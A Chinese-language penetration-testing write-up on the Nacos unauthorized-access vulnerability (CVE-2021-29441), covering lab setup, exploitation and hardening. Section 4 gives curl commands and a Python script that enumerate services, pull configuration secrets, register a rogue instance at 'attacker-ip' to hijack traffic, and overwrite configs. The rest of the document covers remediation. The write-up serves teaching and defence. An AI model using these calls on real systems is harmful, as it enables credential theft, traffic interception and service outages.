Nacos未授权访问漏洞实战:从原理到修复的完整攻防指南

Nacos未授权访问漏洞实战:从原理到修复的完整攻防指南

1. 项目概述:一次典型的Nacos未授权访问漏洞实战复盘

最近在内部安全评估中,又遇到了老朋友——Nacos。作为Spring Cloud Alibaba生态的核心组件,Nacos(Naming and Configuration Service)凭借其服务发现和动态配置管理的强大能力,在微服务架构中几乎成了标配。但越是核心的基础设施,一旦出现安全问题,其影响面就越大。这次实战的目标,就是针对一个已知但依然广泛存在的漏洞:Nacos未授权访问,其官方编号为CVE-2021-29441。这个漏洞的本质并不复杂,简单说就是Nacos的控制台在默认配置下,缺乏有效的身份认证,导致攻击者可以直接访问管理界面,进行服务、配置等敏感信息的查看与篡改。对于任何一个使用Nacos作为注册中心或配置中心的生产环境来说,这无异于将后门钥匙放在了门口的地毯下。

我之所以选择复盘这个漏洞,是因为它在实际渗透测试和红队评估中出现的频率极高。很多开发团队在快速搭建微服务demo或者内部测试环境时,为了图省事,常常直接使用默认配置启动Nacos,完全忽略了安全加固的步骤。更有甚者,一些对安全缺乏认知的运维人员,可能会将测试环境的Nacos实例错误地暴露在公网,这就给了攻击者可乘之机。通过这次实战拆解,我希望不仅能清晰地展示漏洞的发现、验证和利用过程,更能深入剖析其背后的配置逻辑和安全加固方案,让无论是安全研究人员还是开发运维同学,都能对Nacos的安全有一个更立体的认识。

2. 漏洞原理与影响范围深度解析

2.1 Nacos身份认证机制的历史与现状

要理解CVE-2021-29441,我们必须先回到Nacos的身份认证设计上。在Nacos早期的版本中(大致在1.2.0版本之前),其设计哲学更偏向于“开箱即用”和易用性。开发团队可能认为,Nacos通常部署在内网环境,为微服务集群内部提供服务,因此并未将强身份认证作为默认开启的选项。控制台(通常运行在8848端口)和Open API在默认安装后,没有任何登录门槛。用户打开http://your-nacos-ip:8848/nacos就能直接进入管理界面,看到所有注册的服务实例、配置列表等核心数据。

这种设计在快速原型验证阶段确实方便,但一旦部署到准生产或生产环境,就埋下了巨大的安全隐患。攻击者无需任何凭证,即可实现以下操作:

  1. 服务信息窃取:获取所有注册到Nacos上的服务名、IP地址、端口、健康状态。这相当于拿到了整个微服务架构的“地图”。
  2. 配置信息泄露:查看、甚至下载Nacos中存储的所有配置文件。这些配置可能包含数据库连接字符串、第三方API密钥、加密盐值等最高级别的敏感信息。
  3. 服务注册与注销:恶意注册虚假服务实例,或注销关键业务服务,直接导致服务调用失败,引发业务中断。
  4. 配置篡改:动态修改运行中的服务配置。例如,将某个微服务的数据库连接指向一个恶意地址,或者修改业务逻辑开关,造成数据泄露或逻辑错误。

CVE-2021-29441正是针对这一默认无认证的漏洞进行披露和预警。虽然Nacos官方在后续版本中逐步增强了安全特性,例如引入了基于nacos.core.auth.enabled参数的内置认证系统,但历史版本的存量、以及新版本中因配置疏忽导致认证未开启的情况,使得该漏洞的变体长期存在。

2.2 漏洞的“变体”与关联风险

在实际测试中,纯粹的“默认无认证”场景只是冰山一角。更多的情况是配置不当导致的“伪授权”或“弱授权”状态,我将其归纳为几种常见变体:

变体一:弱口令或默认口令。有些管理员意识到需要开启认证,但为了方便记忆或沟通,设置了诸如nacos/nacosadmin/admin这类极弱的口令。攻击者通过简单的口令爆破即可轻易进入。在Nacos 1.2.0+版本中,如果从旧版本升级而来且未初始化密码,其默认密码就是nacos/nacos,这一点需要格外警惕。

变体二:权限绕过与接口未授权。即使控制台登录页面设置了认证,但某些特定的API接口可能因为配置遗漏或框架特性,绕过了统一的鉴权过滤器。例如,某些健康检查接口、Metrics监控端点(如/nacos/actuator/metrics)如果被错误暴露,也可能泄露服务器状态信息。虽然这不完全是CVE-2021-29441的定义范围,但攻击思路和危害是相似的。

变体三:不当的网络暴露。这是最致命也最常见的问题。许多团队将Nacos Server部署在Docker或Kubernetes中,为了便于调试,将Service类型设置为NodePortLoadBalancer,甚至直接使用hostNetwork模式,无意中将其服务端口(8848, 7848等)暴露在了办公网或公网。结合默认无认证或弱口令,漏洞就被直接“送货上门”了。

注意:评估Nacos安全时,绝不能仅仅检查nacos.core.auth.enabled是否为true。必须进行全端口扫描、API探测和弱口令测试,才能做出相对完整的判断。

3. 实战环境搭建与漏洞复现

3.1 靶场环境快速搭建

为了原汁原味地复现漏洞,最快捷的方式就是使用Docker启动一个存在漏洞的Nacos版本。这里我们选择1.4.1版本,该版本在默认配置下未开启认证。

# 拉取Nacos 1.4.1 镜像 docker pull nacos/nacos-server:1.4.1 # 以单机模式运行,并映射8848端口到宿主机 docker run -d \ --name nacos-unsafe \ -p 8848:8848 \ -e MODE=standalone \ nacos/nacos-server:1.4.1

执行上述命令后,一个单机版的Nacos服务就在本地的8848端口运行起来了。这里的-e MODE=standalone指定了单机模式,适合测试和开发。在生产环境中,通常会使用cluster集群模式。

3.2 漏洞验证与信息收集

环境启动后,我们通过浏览器访问http://localhost:8848/nacos。如果成功复现漏洞,你将直接进入Nacos控制台首页,而不会看到任何登录界面。

第一步:确认未授权状态。直接访问控制台URL能进入,这是最直观的证据。但严谨的渗透测试需要多角度验证。我们可以使用curl命令测试其Open API:

# 查询服务列表 curl -X GET 'http://localhost:8848/nacos/v1/ns/service/list?pageNo=1&pageSize=10' # 查询配置列表 curl -X GET 'http://localhost:8848/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&search=accurate'

如果这些API接口在未提供任何认证Token(如accessToken)的情况下,返回了200状态码及有效数据(可能是空列表,但结构正常),则进一步证实了未授权访问漏洞的存在。

第二步:手工信息收集。进入控制台后,我们可以像管理员一样浏览:

  1. 服务管理:在“服务列表”中,查看所有已注册的服务。对于一个刚启动的环境,这里可能只有nacos本身。但在真实业务环境中,这里会列出所有的微服务,如user-service,order-service,payment-service等,并附带其集群IP和端口。
  2. 配置管理:在“配置列表”中,查看所有的配置项。业务配置、数据库连接池配置、消息队列配置等都可能明文存储在这里。点击“详情”或“导出”,可能直接获取到配置文件内容。
  3. 命名空间:查看不同的命名空间(Namespace)。生产环境的配置可能放在独立的命名空间里,这里可以一览无余。

第三步:尝试基础写操作。未授权访问的威胁不仅在于“读”,更在于“写”。我们可以尝试进行低风险的写操作来验证权限:

  1. 在“配置管理”中,尝试“+”新建一个配置。Data ID可以命名为test.properties,配置内容随意填写。
  2. 如果创建成功,则证明拥有发布配置的权限,危害等级从“信息泄露”上升为“系统篡改”。

实操心得:在实际的渗透测试中,对于写操作要极其谨慎,尤其是在客户的生产环境。除非获得明确授权,否则应仅限于验证漏洞存在性,避免任何可能影响业务稳定性的操作。我的习惯是,在验证写权限时,创建带有明显测试标记的配置(如Data ID包含_pentest_字样),并在验证后立即删除。

4. 漏洞利用链与深度攻击模拟

验证了漏洞存在后,我们需要模拟一个攻击者视角,看看他能利用这个漏洞做些什么。假设我们面对的是一个已经投入使用的业务系统。

4.1 场景一:绘制微服务架构地图

攻击者首先通过未授权的服务列表API,获取所有注册的服务信息。通过编写简单的脚本,可以自动化这个过程:

import requests import json nacos_url = "http://target-ip:8848" services_api = "/nacos/v1/ns/service/list" def get_services(): page_no = 1 page_size = 100 all_services = [] while True: params = {'pageNo': page_no, 'pageSize': page_size} resp = requests.get(nacos_url + services_api, params=params) if resp.status_code == 200: data = resp.json() service_list = data.get('doms', []) if not service_list: break all_services.extend(service_list) if len(service_list) < page_size: break page_no += 1 else: print(f"请求失败: {resp.status_code}") break return all_services if __name__ == '__main__': services = get_services() print(f"发现 {len(services)} 个服务:") for svc in services: print(f" - {svc}") # 可以进一步调用 /nacos/v1/ns/instance/list 获取该服务的所有实例详情

运行这个脚本,攻击者就得到了一份完整的服务清单。结合后续对每个服务实例详情(IP、端口、元数据)的查询,一张清晰的微服务网络拓扑图就被绘制出来了。这为后续针对特定服务的横向移动或攻击指明了方向。

4.2 场景二:窃取敏感配置与凭据

接下来,攻击者会瞄准配置中心。他可能会遍历所有命名空间和配置分组,批量下载配置文件。

# 假设获取到了命名空间ID ‘public’ 和配置分组 ‘DEFAULT_GROUP’ # 但攻击者通常不知道具体的Data ID,他可能会尝试常见名称或进行模糊查询 # 例如,尝试获取数据库配置 curl 'http://target-ip:8848/nacos/v1/cs/configs?dataId=application.properties&group=DEFAULT_GROUP&tenant=' curl 'http://target-ip:8848/nacos/v1/cs/configs?dataId=application.yml&group=DEFAULT_GROUP&tenant=' curl 'http://target-ip:8848/nacos/v1/cs/configs?dataId=bootstrap.properties&group=DEFAULT_GROUP&tenant=' # 或者利用搜索功能(如果前端开放了搜索,对应API可能有search参数)

一旦找到包含数据库连接串(如spring.datasource.url)、Redis密码、OSS访问密钥、短信平台Token等的配置文件,攻击者就拿到了通往核心数据的钥匙。他可以直接连接数据库导出数据,或者利用云服务凭据进行进一步的资源窃取或破坏。

4.3 场景三:服务注册攻击与流量劫持

这是更具破坏性的攻击方式。攻击者可以向Nacos注册一个恶意的服务实例。

  1. 注册恶意实例:模仿一个已有的关键服务(如gateway-service),但将自己的恶意服务器IP和端口注册进去。
  2. 流量劫持:由于Nacos客户端(如微服务或Gateway)会从Nacos Server拉取服务实例列表,部分负载均衡策略可能会将流量分发到这个恶意实例上。攻击者可以在恶意实例上部署一个反向代理,将流量转发到真实服务的同时,窃取所有经过的请求数据(包括含认证Token的请求头、敏感POST数据等)。
  3. 服务驱逐攻击:调用Nacos API,将某个关键业务服务的健康实例下线(Deregister Instance),导致该服务不可用,引发业务故障。
# 注册一个恶意实例的示例API调用(需根据实际情况修改参数) curl -X POST 'http://target-ip:8848/nacos/v1/ns/instance' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'ip=attacker-ip&port=9999&serviceName=critical-user-service&clusterName=DEFAULT'

4.4 场景四:配置篡改与逻辑漏洞注入

攻击者可以修改线上运行的配置。例如:

  • 修改数据库连接池的validationQuery为一个睡眠语句SELECT SLEEP(10),导致所有数据库连接缓慢,引发服务雪崩。
  • 修改业务开关,如将feature.enable-payment改为false,导致支付功能全局关闭。
  • 在日志配置中注入恶意表达式(如果日志框架支持EL表达式且版本存在漏洞),可能触发远程代码执行(RCE)。
# 发布/更新配置的API curl -X POST 'http://target-ip:8848/nacos/v1/cs/configs' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'dataId=critical-service.properties&group=DEFAULT_GROUP&content=malicious.config.value=injected'

重要提示:以上所有利用场景的API调用示例,仅用于理解攻击原理和进行授权下的安全测试。严禁在未获得明确书面授权的情况下,对任何系统进行此类测试或攻击。

5. 漏洞修复与安全加固全方案

仅仅知道漏洞如何利用是远远不够的,作为安全从业者或系统负责人,我们的核心任务是修复和加固。针对Nacos未授权访问,修复是一个多层次、纵深防御的过程。

5.1 紧急处置:网络层隔离与访问控制

如果发现线上Nacos存在未授权访问,第一时间的应急响应不是去改Nacos配置,而是进行网络隔离。

  1. 修改安全组/防火墙规则:立即在云服务器安全组或主机防火墙上,将Nacos服务端口(默认8848、7848等)的访问源IP进行严格限制。只允许可信的IP段访问,例如运维跳板机IP、微服务Pod所在的K8s节点IP段、办公网络出口IP等。这是最快、最有效的临时止血方案。
    # 例如,使用iptables只允许特定IP访问8848端口 iptables -A INPUT -p tcp --dport 8848 -s 10.0.0.0/24 -j ACCEPT # 允许内网网段 iptables -A INPUT -p tcp --dport 8848 -s 123.123.123.123 -j ACCEPT # 允许特定公网IP(如VPN出口) iptables -A INPUT -p tcp --dport 8848 -j DROP # 拒绝其他所有
  2. 检查并修正网络暴露:立即审查Nacos的部署方式。如果是因为误将K8s Service类型设为LoadBalancerNodePort且范围过广,应将其改为ClusterIP,并通过Ingress配合认证来提供外部访问(如果需要)。如果是Docker直接映射到了主机公网IP,应改为映射到内网IP或使用反向代理。

5.2 根本修复:启用并正确配置Nacos身份认证

完成紧急隔离后,需要从根本上启用Nacos的安全认证。

  1. 升级版本:首先,确保Nacos版本在1.2.0以上。官方从1.2.0版本开始支持内置的鉴权体系。建议升级到最新的稳定版,以获取所有安全补丁。
  2. 开启认证:修改Nacos的配置文件conf/application.properties(对于Docker部署,可通过挂载卷或环境变量修改)。
    # 开启鉴权 nacos.core.auth.enabled=true # 开启服务身份识别(用于服务间调用鉴权,可选但建议开启) nacos.core.auth.enable.userAgentAuthWhite=false # 令牌过期时间(秒),默认18000 nacos.core.auth.default.token.expire.seconds=18000 # 令牌加密密钥,需自定义一个强密钥,长度至少32字符 nacos.core.auth.default.token.secret.key=VGhpc0lzQVZlcnlTdHJvbmdTZWNyZXRLZXlBdExlYXN0MzJD
    关键点nacos.core.auth.default.token.secret.key必须修改!使用默认值或弱密钥等同于没有认证。生成一个足够复杂的Base64编码字符串。
  3. 修改默认密码:启动开启了认证的Nacos后,使用默认账号nacos和密码nacos登录。登录后第一件事,就是在“权限控制”->“用户管理”中,为nacos用户修改一个高强度密码。并考虑创建具有不同权限的子账户,遵循最小权限原则。
  4. 配置客户端:服务端开启认证后,所有连接到Nacos的客户端(微服务)都需要配置用户名和密码。
    • Spring Cloud Alibaba Nacos:在bootstrap.ymlapplication.yml中配置:
      spring: cloud: nacos: discovery: username: ${NACOS_USERNAME:nacos} password: ${NACOS_PASSWORD:your_strong_password_here} config: username: ${NACOS_USERNAME:nacos} password: ${NACOS_PASSWORD:your_strong_password_here}
    • 原始SDK或其它客户端:同样需要在初始化时传入鉴权参数。

5.3 进阶加固:构建纵深防御体系

开启认证是基础,但要达到生产级安全,还需要更多措施。

  1. 启用TLS/SSL加密:防止通信内容在传输过程中被窃听或篡改。为Nacos Server配置HTTPS,并让客户端使用HTTPS连接。这需要生成或申请证书,并修改server和client配置。
  2. 使用命名空间(Namespace)进行逻辑隔离:为不同环境(dev/test/prod)或不同业务线创建独立的命名空间。配合RBAC权限,控制用户只能访问特定命名空间下的资源和配置。
  3. 配置访问控制列表(ACL)与RBAC:不要所有人都用nacos这个超级管理员。根据团队角色创建用户,并分配精细的权限。例如,开发人员只有读写dev命名空间的权限,运维人员有读写prod命名空间的权限,而只读账号用于监控。
  4. 部署架构安全
    • 集群部署:生产环境务必使用集群模式,避免单点故障,同时集群内部通信也可配置认证。
    • 反向代理:在前端部署Nginx或Ingress Controller,对外暴露443端口。在反向代理层可以附加一层认证(如Basic Auth)、限流、IP黑白名单等,增加一道防线。
    • 私有化部署:将Nacos部署在完全独立的内部网络区域,与业务服务隔离,通过严格的内网策略进行访问控制。

5.4 持续监控与审计

加固不是一劳永逸的,需要持续监控。

  1. 日志审计:开启Nacos的访问日志和操作日志,定期审计异常登录、频繁的配置查询或修改行为。将日志接入ELK或Sentinel等监控系统。
  2. 定期漏洞扫描与配置核查:使用安全扫描工具定期检查Nacos服务端口是否意外暴露,配置认证是否开启,是否存在弱口令。将Nacos配置安全纳入日常的配置审计流程。
  3. 客户端认证信息管理:避免将明文密码写在客户端配置文件中。使用配置中心本身(在安全的前提下)、或云厂商的密钥管理服务(如KMS)、或容器平台的Secret对象来管理Nacos的客户端认证凭据。

6. 从漏洞挖掘到防御的思考与扩展

复盘完整个漏洞的攻防过程,我们不妨跳出来,思考一些更深层次的问题。CVE-2021-29441这类“默认不安全”的漏洞,在开源中间件中并非个例。Redis、MongoDB、Elasticsearch等都曾有过类似教训。这给我们的启示是:在追求“开箱即用”的开发者体验的同时,绝不能以牺牲“默认安全”为代价

对于开发者和架构师,在技术选型和架构设计阶段,就必须将安全作为非功能性需求的核心指标之一。在引入Nacos这类基础组件时,安全清单应该成为部署文档的第一页:

  • [ ] 是否修改了所有默认密码?
  • [ ] 是否开启了最小必要的认证与授权?
  • [ ] 网络暴露范围是否控制在最小?
  • [ ] 通信链路是否加密?
  • [ ] 日志审计是否开启?

对于安全工程师,这类漏洞的挖掘思路可以进一步扩展。不仅仅是检查默认配置,更要关注:

  • 配置的继承与覆盖:在复杂的微服务架构中,配置可能来自多个源(本地文件、环境变量、配置中心)。最终的生效配置是什么?安全配置是否被意外覆盖?
  • 依赖链安全:Nacos本身可能依赖其他组件(如数据库)。这些组件的安全状态如何?是否存在内网渗透的跳板?
  • API的完整梳理:除了常见的控制台和Open API,Nacos是否还有其他管理端口或API(如集群通信端口7848)?它们是否同样受到保护?

最后,我想分享一个在多次渗透测试中验证有效的“笨办法”:定期以攻击者的视角审视自己的系统。最简单的方式,就是每隔一段时间,从公网视角对你的服务器IP和域名进行一次端口扫描和服务识别,看看有没有像Nacos控制台这样“不该出现”的服务被意外暴露出来。很多时候,最大的风险不是高深莫测的0day漏洞,而是这些由于疏忽而打开的大门。安全是一个持续的过程,始于对每一个默认选项的质疑,成于对每一处细节的坚守。